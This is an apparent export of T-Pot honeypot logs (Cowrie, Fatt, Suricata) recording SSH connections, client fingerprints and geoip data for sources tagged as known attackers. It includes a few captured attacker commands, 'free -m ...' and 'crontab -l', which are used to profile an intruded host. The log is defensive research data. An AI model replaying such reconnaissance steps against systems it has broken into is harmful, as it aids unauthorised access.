28607	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:20:13.583968+03	2021-09-20 14:30:03.064524+03	{"_id": "sQbvAnwBvYTbRNuEXTD6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "1df13759ff59", "@version": "1", "timestamp": "2021-09-20T11:20:13.583968Z", "@timestamp": "2021-09-20T11:20:13.583Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28608	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:13.707757+03	2021-09-20 14:30:03.065524+03	{"_id": "sgbvAnwBvYTbRNuEXTD6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:13.707757Z", "@timestamp": "2021-09-20T11:20:13.707Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28609	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:20:13.583352+03	2021-09-20 14:30:03.066524+03	{"_id": "vQbvAnwBvYTbRNuEYDDw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 44276, "dest_port": 22, "timestamp": "2021-09-20T11:20:13.583352", "@timestamp": "2021-09-20T11:20:13.583Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28610	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:04.698667+03	2021-09-20 14:30:03.067524+03	{"_id": "bgbvAnwBvYTbRNuEOjDL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:04.698667Z", "@timestamp": "2021-09-20T11:20:04.698Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28612	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:05.251825+03	2021-09-20 14:30:03.069523+03	{"_id": "cQbvAnwBvYTbRNuEPjCz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "117.22.230.94", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 0.5532445907592773, "duplicate": true, "timestamp": "2021-09-20T11:20:05.251825Z", "@timestamp": "2021-09-20T11:20:05.251Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28613	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:05.665251+03	2021-09-20 14:30:03.071523+03	{"_id": "cwbvAnwBvYTbRNuEPjCz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:05.665251Z", "@timestamp": "2021-09-20T11:20:05.665Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28614	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:06.216407+03	2021-09-20 14:30:03.072523+03	{"_id": "dAbvAnwBvYTbRNuEQjCb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "117.22.230.94", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 0.5517919063568115, "duplicate": true, "timestamp": "2021-09-20T11:20:06.216407Z", "@timestamp": "2021-09-20T11:20:06.216Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28615	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:20:07.627221+03	2021-09-20 14:30:03.073524+03	{"_id": "hQbvAnwBvYTbRNuESDA8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 60380, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1439, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 246522237652312, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 46685, "timestamp": "2021-09-20T11:20:07.627221Z", "@timestamp": "2021-09-20T11:20:07.627Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28616	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:20:08.157299+03	2021-09-20 14:30:03.074525+03	{"_id": "gwbvAnwBvYTbRNuESDA8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 62231, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1000980487890547, "@version": "1", "in_iface": "enp5s0", "src_port": 40537, "dest_port": 53, "timestamp": "2021-09-20T11:20:08.157299Z", "@timestamp": "2021-09-20T11:20:08.157Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28622	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:20:08.276098+03	2021-09-20 14:30:03.082523+03	{"_id": "igbvAnwBvYTbRNuESTB9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35074, "timestamp": "2021-09-20T11:20:08.276098", "@timestamp": "2021-09-20T11:20:08.276Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28617	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:20:08.158728+03	2021-09-20 14:30:03.076524+03	{"_id": "hgbvAnwBvYTbRNuESDA9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 62231, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1438, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1000980487890547, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 40537, "timestamp": "2021-09-20T11:20:08.158728Z", "@timestamp": "2021-09-20T11:20:08.158Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
28618	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:20:07.676718+03	2021-09-20 14:30:03.077523+03	{"_id": "hwbvAnwBvYTbRNuESTB9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35072, "dest_port": 443, "timestamp": "2021-09-20T11:20:07.676718", "@timestamp": "2021-09-20T11:20:07.676Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28619	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:08.556355+03	2021-09-20 14:30:03.078524+03	{"_id": "jAbvAnwBvYTbRNuESjBt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 23, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "117.22.230.94", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 0.5523042678833008, "duplicate": true, "timestamp": "2021-09-20T11:20:08.556355Z", "@timestamp": "2021-09-20T11:20:08.556Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28620	5.188.62.253	109.199.241.180	Fatt	2021-09-20 14:20:09.589673+03	2021-09-20 14:30:03.079524+03	{"_id": "lAbvAnwBvYTbRNuETTBn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.253", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "fb9ea37f5a326a02ad94bd4e431b024c", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 51564, "dest_port": 22, "timestamp": "2021-09-20T11:20:09.589673", "@timestamp": "2021-09-20T11:20:09.589Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28621	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:20:08.233329+03	2021-09-20 14:30:03.080524+03	{"_id": "iQbvAnwBvYTbRNuESTB9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35074, "dest_port": 443, "timestamp": "2021-09-20T11:20:08.233329", "@timestamp": "2021-09-20T11:20:08.233Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28623	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:08.00468+03	2021-09-20 14:30:03.083524+03	{"_id": "iwbvAnwBvYTbRNuESjBt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:08.004680Z", "@timestamp": "2021-09-20T11:20:08.004Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28624	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:08.004141+03	2021-09-20 14:30:03.084523+03	{"_id": "kgbvAnwBvYTbRNuESjBu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:08.004141Z", "@timestamp": "2021-09-20T11:20:08.004Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28625	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:20:09.515046+03	2021-09-20 14:30:03.085524+03	{"_id": "kwbvAnwBvYTbRNuETTBn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.253", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51564, "timestamp": "2021-09-20T11:20:09.515046", "@timestamp": "2021-09-20T11:20:09.515Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28626	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:09.470024+03	2021-09-20 14:30:03.086524+03	{"_id": "lgbvAnwBvYTbRNuETjBX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:09.470024Z", "@timestamp": "2021-09-20T11:20:09.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
